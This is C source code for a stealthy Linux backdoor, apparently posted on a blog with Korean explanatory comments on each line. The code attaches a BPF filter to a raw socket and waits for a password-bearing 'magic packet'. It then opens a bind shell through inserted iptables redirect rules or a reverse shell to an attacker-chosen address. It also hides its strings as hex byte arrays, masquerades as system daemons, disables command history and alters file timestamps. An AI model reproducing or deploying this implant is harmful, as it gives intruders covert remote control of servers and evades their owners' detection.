{ 0xb1, 0, 0, 0x0000000e }, // 데이터 시작 위치 조정
{ 0x50, 0, 0, 0x0000001a }, // TCP 데이터 오프셋 읽기
{ 0x54, 0, 0, 0x000000f0 }, // 오프셋 마스크 적용
{ 0x74, 0, 0, 0x00000002 }, // 바이트 단위로 변환
{ 0xc, 0, 0, 0x00000000 }, // 데이터 위치 계산
{ 0x7, 0, 0, 0x00000000 }, // 레지스터 조정
{ 0x48, 0, 0, 0x0000000e }, // TCP 포트 읽기
{ 0x15, 0, 1, 0x00005293 }, // 포트 21139(0x5293) 확인
{ 0x6, 0, 0, 0x0000ffff }, // 패킷 허용 (최대 길이 반환)
{ 0x6, 0, 0, 0x00000000 } // 패킷 거부
};
filter.len = sizeof(bpf_code) / sizeof(bpf_code[0]); // 필터 명령어 개수 설정
filter.filter = bpf_code; // 필터 코드 연결
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1) // raw 소켓 생성 (IP 패킷 수신)
return; // 실패 시 종료
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) { // BPF 필터 적용
return; // 실패 시 종료
}
while (1) { // 무한 루프 (패킷 감시)
memset(buff, 0, 512); // 수신 버퍼 초기화
psize = 0; // 사용 안 함
r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL); // 패킷 수신
ip = (struct sniff_ip *)(buff + 14); // 이더넷 헤더(14바이트) 후 IP 헤더
size_ip = IP_HL(ip) * 4; // IP 헤더 길이 계산 (워드 단위 -> 바이트)
if (size_ip < 20) continue; // 최소 헤더 크기 미만이면 무시
switch (ip->ip_p) { // 프로토콜에 따라 처리
case IPPROTO_TCP: // TCP 패킷
tcp = (struct sniff_tcp *)(buff + 14 + size_ip); // TCP 헤더 위치 계산
size_tcp = TH_OFF(tcp) * 4; // TCP 헤더 길이 계산
mp = (struct magic_packet *)(buff + 14 + size_ip + size_tcp); // 매직 패킷 위치
break;
case IPPROTO_UDP: // UDP 패킷
udp = (struct sniff_udp *)(ip + 1); // UDP 헤더 위치
mp = (struct magic_packet *)(udp + 1); // 매직 패킷 위치
break;
case IPPROTO_ICMP: // ICMP 패킷
pbuff = (char *)(ip + 1); // ICMP 데이터 시작 위치
mp = (struct magic_packet *)(pbuff + 8); // ICMP 헤더(8바이트) 후 매직 패킷
break;
default:
break;
}
if (mp) { // 매직 패킷이 존재하면
if (mp->ip == INADDR_NONE) // 대상 IP가 지정되지 않았으면
bip = ip->ip_src.s_addr; // 출발지 IP 사용
else
bip = mp->ip; // 매직 패킷의 IP 사용
pid = fork(); // 자식 프로세스 생성
if (pid) { // 부모 프로세스
waitpid(pid, NULL, WNOHANG); // 자식 종료 대기 (논블록)
} else { // 자식 프로세스
int cmp = 0; // 패스워드 비교 결과
char sip[20] = {0}; // 출발지 IP 문자열 저장용
char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
0x72, 0x00}; // 위장용 프로세스 이름: "/usr/libexec/postfix/master"
if (fork()) exit(0); // 이중 포크로 세션 분리 (데몬화)
chdir("/"); // 루트 디렉토리로 이동 (작업 디렉토리 변경)
setsid(); // 새 세션 생성 (터미널 분리)
signal(SIGHUP, SIG_DFL); // SIGHUP 기본 처리 복원
memset(argv0, 0, strlen(argv0)); // 기존 프로세스 이름 지우기
strcpy(argv0, pname); // 새 이름 설정
prctl(PR_SET_NAME, (unsigned long)pname); // 커널에 이름 반영
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx); // 암호화 컨텍스트 초기화
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx); // 복호화 컨텍스트 초기화
cmp = logon(mp->pass); // 패스워드 인증
switch (cmp) { // 인증 결과에 따라 동작
case 1: // 바인드 쉘
strcpy(sip, inet_ntoa(ip->ip_src)); // 출발지 IP 문자열 변환
getshell(sip, ntohs(tcp->th_dport)); // 바인드 쉘 실행
break;
case 0: // 리버스 쉘
scli = try_link(bip, mp->port); // 대상에 연결 시도
if (scli > 0) // 연결 성공 시
shell(scli, NULL, NULL); // 쉘 실행
break;
case 2: // 모니터링
mon(bip, mp->port); // UDP 패킷 전송
break;
}
exit(0); // 자식 프로세스 종료
}
}
}
close(sock); // 소켓 닫기 (루프 종료 시, 실제로는 도달 안 함)
}
// 로컬 포트에 소켓 바인딩 함수
int b(int *p) {
int port; // 사용할 포트 번호
struct sockaddr_in my_addr; // 로컬 주소 구조체
int sock_fd; // 소켓 파일 디스크립터
int flag = 1; // SO_REUSEADDR 옵션 값
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // TCP 소켓 생성
return -1; // 실패 시 -1 반환
}
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (char *)&flag, sizeof(flag)); // 포트 재사용 옵션 설정
my_addr.sin_family = AF_INET; // IPv4 프로토콜 설정
my_addr.sin_addr.s_addr = 0; // 모든 인터페이스에 바인딩 (0.0.0.0)
for (port = 42391; port < 43391; port++) { // 포트 범위(42391~43390) 순회
my_addr.sin_port = htons(port); // 포트 번호 설정 (호스트 -> 네트워크 바이트 순서)
if (bind(sock_fd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { // 소켓 바인딩
continue; // 실패 시 다음 포트 시도
}
if (listen(sock_fd, 1) == 0) { // 연결 대기 상태로 전환 (최대 1개 연결)
*p = port; // 사용된 포트 번호 저장
return sock_fd; // 성공 시 소켓 반환
}
close(sock_fd); // 실패 시 소켓 닫기
}
return -1; // 모든 포트 실패 시 -1 반환
}
// 클라이언트 연결 수락 함수
int w(int sock) {
socklen_t size; // 클라이언트 주소 크기
struct sockaddr_in remote_addr; // 클라이언트 주소 구조체
int sock_id; // 클라이언트 소켓 파일 디스크립터
size = sizeof(struct sockaddr_in); // 주소 구조체 크기 설정
if ((sock_id = accept(sock, (struct sockaddr *)&remote_addr, &size)) == -1) { // 클라이언트 연결 수락
return -1; // 실패 시 -1 반환
}
close(sock); // 서버 소켓 닫기
return sock_id; // 클라이언트 소켓 반환
}
// 바인드 쉘 설정 함수
void getshell(char *ip, int fromport) {
int sock, sockfd, toport; // 클라이언트 소켓, 서버 소켓, 리디렉션 포트 변수
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0}; // iptables 명령어 저장용 배열
char cmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00
}; // "/sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d"
char rcmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x67, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00
}; // "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d"
char inputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00
}; // "/sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT"
char dinputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00
}; // "/sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT"
sockfd = b(&toport); // 사용 가능한 포트에 소켓 바인딩
if (sockfd == -1) return; // 실패 시 종료
snprintf(cmd, sizeof(cmd), inputfmt, ip); // INPUT 허용 규칙 생성
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip); // INPUT 허용 규칙 삭제 명령 생성
system(cmd); // INPUT 규칙 추가 (클라이언트 IP 허용)
sleep(1); // 규칙 적용 대기
memset(cmd, 0, sizeof(cmd)); // 명령어 버퍼 초기화
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport); // NAT 리디렉션 규칙 생성
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport); // NAT 리디렉션 규칙 삭제 명령 생성
system(cmd); // NAT 규칙 추가 (트래픽 리디렉션)
sleep(1); // 규칙 적용 대기
sock = w(sockfd); // 클라이언트 연결 수락
if (sock < 0) { // 연결 실패 시
close(sock); // 소켓 닫기
return; // 종료
}
shell(sock, rcmd, dcmd); // 쉘 세션 실행 및 정리
close(sock); // 클라이언트 소켓 닫기
}
// 쉘 세션 처리 함수
int shell(int sock, char *rcmd, char *dcmd) {
int subshell; // 쉘 프로세스 PID
fd_set fds; // select()용 파일 디스크립터 집합
char buf[BUF]; // 입출력 버퍼 (32KB)
char argx[] = {
0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00
}; // "qmgr -l -t fifo -u" (위장용 인자)
char *argvv[] = {argx, NULL, NULL}; // 실행 인자 배열
#define MAXENV 256 // 최대 환경 변수 개수
#define ENVLEN 256 // 환경 변수 최대 길이 (사용 안 함)
char *envp[MAXENV]; // 환경 변수 배열
char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // "/bin/sh" (쉘 경로)
int ret; // 함수 반환값 저장용
char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // "HOME=/tmp"
char ps[] = {
0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00
}; // "PS1=[\u@\h \W]\\$ " (쉘 프롬프트)
char histfile[] = {
0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00
}; // "HISTFILE=/dev/null" (히스토리 파일 비활성화)
char mshist[] = {
0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
0x6c, 0x6c, 0x00
}; // "MYSQL_HISTFILE=/dev/null" (MySQL 히스토리 비활성화)
char ipath[] = {
0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
0x2f, 0x62, 0x69, 0x6e, 0x00
}; // "PATH=..." (쉘 명령어 경로 설정)
char term[] = "vt100"; // "TERM=vt100" (터미널 유형, 문자열로 사용)
envp[0] = home; // 환경 변수 설정: 홈 디렉토리
envp[1] = ps; // 프롬프트 설정
envp[2] = histfile; // 히스토리 파일 비활성화
envp[3] = mshist; // MySQL 히스토리 비활성화
envp[4] = ipath; // PATH 설정
envp[5] = term; // 터미널 유형 설정
envp[6] = NULL; // 환경 변수 배열 종료
if (rcmd != NULL) // NAT 규칙 삭제 명령이 있으면
system(rcmd); // NAT 규칙 삭제 실행
if (dcmd != NULL) // INPUT 규칙 삭제 명령이 있으면
system(dcmd); // INPUT 규칙 삭제 실행
write(sock, "3458", 4); // 클라이언트에 연결 신호 전송 (고정 문자열)
if (!open_tty()) { // TTY 열기 실패 시
if (!fork()) { // 자식 프로세스 생성
dup2(sock, 0); // 표준 입력을 소켓으로 리디렉션
dup2(sock, 1); // 표준 출력을 소켓으로 리디렉션
dup2(sock, 2); // 표준 에러를 소켓으로 리디렉션
execve(sh, argvv, envp); // /bin/sh 실행 (환경 변수 적용)
}
close(sock); // 부모에서 소켓 닫기
return 0; // 성공 반환
}
subshell = fork(); // 쉘 실행용 자식 프로세스 생성
if (subshell == 0) { // 자식 프로세스
close(pty); // 마스터 PTY 닫기
ioctl(tty, TIOCSCTTY); // 슬레이브 TTY를 제어 터미널로 설정
close(sock); // 소켓 닫기
dup2(tty, 0); // 표준 입력을 TTY로 리디렉션
dup2(tty, 1); // 표준 출력을 TTY로 리디렉션
dup2(tty, 2); // 표준 에러를 TTY로 리디렉션
close(tty); // TTY 파일 디스크립터 닫기
execve(sh, argvv, envp); // /bin/sh 실행
}
close(tty); // 부모에서 슬레이브 TTY 닫기
while (1) { // 입출력 중계 루프
FD_ZERO(&fds); // 파일 디스크립터 집합 초기화
FD_SET(pty, &fds); // PTY 감시 설정
FD_SET(sock, &fds); // 소켓 감시 설정
if (select((pty > sock) ? (pty + 1) : (sock + 1), &fds, NULL, NULL, NULL) < 0) { // 입출력 이벤트 대기
break; // 오류 시 루프 종료
}
if (FD_ISSET(pty, &fds)) { // PTY에서 데이터 수신 시
int count; // 읽은 바이트 수
count = read(pty, buf, BUF); // PTY에서 데이터 읽기
if (count <= 0) break; // 읽기 실패 시 종료
if (cwrite(sock, buf, count) <= 0) break; // 클라이언트로 암호화 전송
}
if (FD_ISSET(sock, &fds)) { // 클라이언트에서 데이터 수신 시
int count; // 읽은 바이트 수
unsigned char *p, *d; // 특수 문자 위치 및 버퍼 포인터
d = (unsigned char *)buf; // 버퍼 타입 캐스팅
count = cread(sock, buf, BUF); // 데이터 수신 및 복호화
if (count <= 0) break; // 읽기 실패 시 종료
p = memchr(buf, ECHAR, count); // 윈도우 크기 변경 이벤트(ECHAR) 검색
if (p) { // 이벤트 발견 시
unsigned char wb[5]; // 윈도우 크기 데이터 저장용
int rlen = count - ((long)p - (long)buf); // 남은 데이터 길이
struct winsize ws; // 윈도우 크기 구조체
if (rlen > 5) rlen = 5; // 최대 5바이트로 제한
memcpy(wb, p, rlen); // 이벤트 데이터 복사
if (rlen < 5) { // 데이터 부족 시
ret = cread(sock, &wb[rlen], 5 - rlen); // 나머지 읽기
}
ws.ws_xpixel = ws.ws_ypixel = 0; // 픽셀 크기 사용 안 함
ws.ws_col = (wb[1] << 8) + wb[2]; // 열 수 계산 (2바이트)
ws.ws_row = (wb[3] << 8) + wb[4]; // 행 수 계산 (2바이트)
ioctl(pty, TIOCSWINSZ, &ws); // PTY에 윈도우 크기 적용
kill(0, SIGWINCH); // 윈도우 크기 변경 시그널 전송
ret = write(pty, buf, (long)p - (long)buf); // 이벤트 전 데이터 쓰기
rlen = ((long)buf + count) - ((long)p + 5); // 남은 데이터 길이
if (rlen > 0) ret = write(pty, p + 5, rlen); // 이벤트 후 데이터 쓰기
} else { // 일반 데이터
if (write(pty, d, count) <= 0) break; // PTY로 데이터 쓰기
}
}
}
close(sock); // 소켓 닫기
close(pty); // PTY 닫기
waitpid(subshell, NULL, 0); // 쉘 프로세스 종료 대기
vhangup(); // 가상 TTY 정리 (사용 안 됨, 예비 호출)
exit(0); // 자식 프로세스 종료
}
// 메인 함수
int main(int argc, char *argv[]) {
char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // "justforfun" (리버스 쉘 패스워드)
char hash2[] = {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // "socket" (바인드 쉘 패스워드)
char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
}; // 위장용 프로세스 이름 목록
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // "/var/run/haldrund.pid" (PID 파일 경로)
if (access(pid_path, R_OK) == 0) { // PID 파일이 이미 존재하면 (실행 중)
exit(0); // 프로그램 종료 (중복 실행 방지)
}
if (getuid() != 0) { // 루트 권한 확인
return 0; // 루트가 아니면 종료
}
if (argc == 1) { // 인자가 없으면 (최초 실행)
if (to_open(argv[0], "kdmtmpflush") == 0) // 실행 파일 복사 및 실행
_exit(0); // 성공 시 종료
_exit(-1); // 실패 시 종료
}
bzero(&cfg, sizeof(cfg)); // 설정 구조체 초기화
srand((unsigned)time(NULL)); // 난수 시드 설정 (현재 시간 기반)
strcpy(cfg.mask, self[rand() % 10]); // 랜덤한 위장 이름 선택
strcpy(cfg.pass, hash); // 첫 번째 패스워드 설정
strcpy(cfg.pass2, hash2); // 두 번째 패스워드 설정
setup_time(argv[0]); // 실행 파일 타임스탬프 설정 (탐지 회피)
set_proc_name(argc, argv, cfg.mask); // 프로세스 이름 변경
if (fork()) exit(0); // 백그라운드 실행 (부모 종료)
init_signal(); // 시그널 핸들러 초기화
signal(SIGCHLD, sig_child); // 자식 프로세스 종료 핸들러 설정
godpid = getpid(); // 메인 프로세스 PID 저장
close(open(pid_path, O_CREAT | O_WRONLY, 0644)); // PID 파일 생성 (0644 권한)
signal(SIGCHLD, SIG_IGN); // 자식 프로세스 종료 시그널 무시
setsid(); // 새 세션 생성 (데몬화)
packet_loop(); // 패킷 감시 루프 시작
return 0; // 종료 (실제로는 도달 안 함)
}
댓글
댓글 쓰기